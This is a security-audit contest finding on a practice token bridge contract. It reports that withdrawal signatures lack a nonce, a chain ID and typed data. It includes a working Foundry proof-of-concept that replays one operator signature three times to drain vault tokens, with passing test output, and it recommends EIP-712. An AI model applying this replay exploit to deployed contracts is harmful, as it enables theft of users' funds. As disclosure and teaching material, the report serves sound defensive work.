First Flight #4: Boss Bridge
First Flight #4
Beginner FriendlyFoundryBridge
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Untyped data signing

lian886

Summary

In the project (see affected code), untyped application data is directly hashed and signed. This is strongly disencouraged, as it enables different attacks (that each could be considered their own issue / vulnerability.

Vulnerability Details

I submitted it as one, as they have all the same root cause):

1.) Signature reuse the the nonce:
Because the nonce is not signed. The attacker can call withdrawTokensToL1 many times with the same signature.

poc

In this example, a user call depositTokensToL2 once,and call withdrawTokensToL1 three times, and steal 2*depositAmount tokens.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
import { Test, console2 } from "forge-std/Test.sol";
import { ECDSA } from "openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import { MessageHashUtils } from "openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol";
import { Ownable } from "openzeppelin/contracts/access/Ownable.sol";
import { Pausable } from "@openzeppelin/contracts/utils/Pausable.sol";
import { L1BossBridge, L1Vault } from "../src/L1BossBridge.sol";
import { IERC20 } from "openzeppelin/contracts/interfaces/IERC20.sol";
import { L1Token } from "../src/L1Token.sol";
​
contract L1BossBridgeBugsTest is Test {
event Deposit(address from, address to, uint256 amount);
​
address deployer = makeAddr("deployer");
address user = makeAddr("User");
address Alice = makeAddr("Alice");
address Bob = makeAddr("Bob");
address userInL2 = makeAddr("UserInL2");
address AliceInL2 = makeAddr("AliceInL2");
address BobInL2 = makeAddr("BobInL2");
Account operator = makeAccount("operator");
​
L1Token token;
L1BossBridge tokenBridge;
L1Vault vault;
​
function setUp() public {
vm.startPrank(deployer);
​
// Deploy token and transfer the user some initial balance
token = new L1Token();
token.transfer(address(user), 1000e18);
​
// Deploy bridge
tokenBridge = new L1BossBridge(IERC20(token));
vault = tokenBridge.vault();
​
//assume others have deposited some assers in vault
token.transfer(address(vault), 1000e18);
​
// Add a new allowed signer to the bridge
tokenBridge.setSigner(operator.addr, true);
​
vm.stopPrank();
}
​
​
​
function testUserCanWithdrawTokensWithOperatorSignatureManyTimes() public {
vm.startPrank(user);
uint256 depositAmount = 10e18;
uint256 userInitialBalance = token.balanceOf(address(user));
uint256 vaultInitialBalance = token.balanceOf(address(vault));
​
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
vm.stopPrank();
assertEq(token.balanceOf(address(vault)), vaultInitialBalance + depositAmount);
assertEq(token.balanceOf(address(user)), userInitialBalance - depositAmount);
​
​
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(user, depositAmount), operator.key);
//call many times
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
​
assertEq(token.balanceOf(address(user)), userInitialBalance + 2*depositAmount);
assertEq(token.balanceOf(address(vault)), vaultInitialBalance - 2*depositAmount);
}
​
function _getTokenWithdrawalMessage(address recipient, uint256 amount) private view returns (bytes memory) {
return abi.encode(
address(token), // target
0, // value
abi.encodeCall(IERC20.transferFrom, (address(vault), recipient, amount)) // data
);
}
​
/**
* Mocks part of the off-chain mechanism where there operator approves requests for withdrawals by signing them.
* Although not coded here (for simplicity), you can safely assume that our operator refuses to sign any withdrawal
* request from an account that never originated a transaction containing a successful deposit.
*/
function _signMessage(
bytes memory message,
uint256 privateKey
)
private
pure
returns (uint8 v, bytes32 r, bytes32 s)
{
return vm.sign(privateKey, MessageHashUtils.toEthSignedMessageHash(keccak256(message)));
}
​
}
​

then we run :

forge test --match-test testUserCanWithdrawTokensWithOperatorSignatureManyTimes

the we get :

[⠆] Compiling...
[⠒] Compiling 1 files with 0.8.20
[⠑] Solc 0.8.20 finished in 1.23s
Compiler run successful!
​
Running 1 test for test/L1TokenBridgeBugs.t.sol:L1BossBridgeBugsTest
[PASS] testUserCanWithdrawTokensWithOperatorSignatureManyTimes() (gas: 103972)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.89ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

2.) Signature reuse across different chains:
Because the chain ID is not included in the data, all signatures are also valid when the project is launched on a chain with another chain ID. For instance, let's say it is also launched on Polygon. An attacker can now use all of the Ethereum signatures there. Because the Polygon addresses of user's (and potentially contracts, when the nonces for creating are the same) are often identical, there can be situations where the payload is meaningful on both chains.
3.) Signature reuse from different Ethereum projects & phishing
Because the payload of these signatures is very generic (a addresse, a uint256 and bytes), there might be situations where a user has already signed data with the same format for a completely different Ethereum application. Furthermore, an attacker could set up a DApp that uses the same format and trick someone into signing the data. Even a very security-conscious owner that has audited the contract of this DApp (that does not have any vulnerabilities and is not malicious, it simply consumes signatures that happen to have the same format) might be willing to sign data for this DApp, as he does not anticipate that this puts his Rigor project in danger.

Impact

The vault will lose all funds.

Tools Used

forge

Recommendations

I strongly recommend to follow EIP-712 and not implement your own standard / solution. While this also improves the user experience, this topic is very complex and not easy to get right, so it is recommended to use a battle-tested approach that people have thought in detail about. All of the mentioned attacks are not possible with EIP-712:
1.) There is always a domain separator that includes the contract address.
2.) The chain ID is included in the domain separator
3.) There is a type hash (of the function name / parameters)
4.) The domain separator does not allow reuse across different projects, phishing with an innocent DApp is no longer possible (it would be shown to the user that he is signing data for Rigor, which he would off course not do on a different site)

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.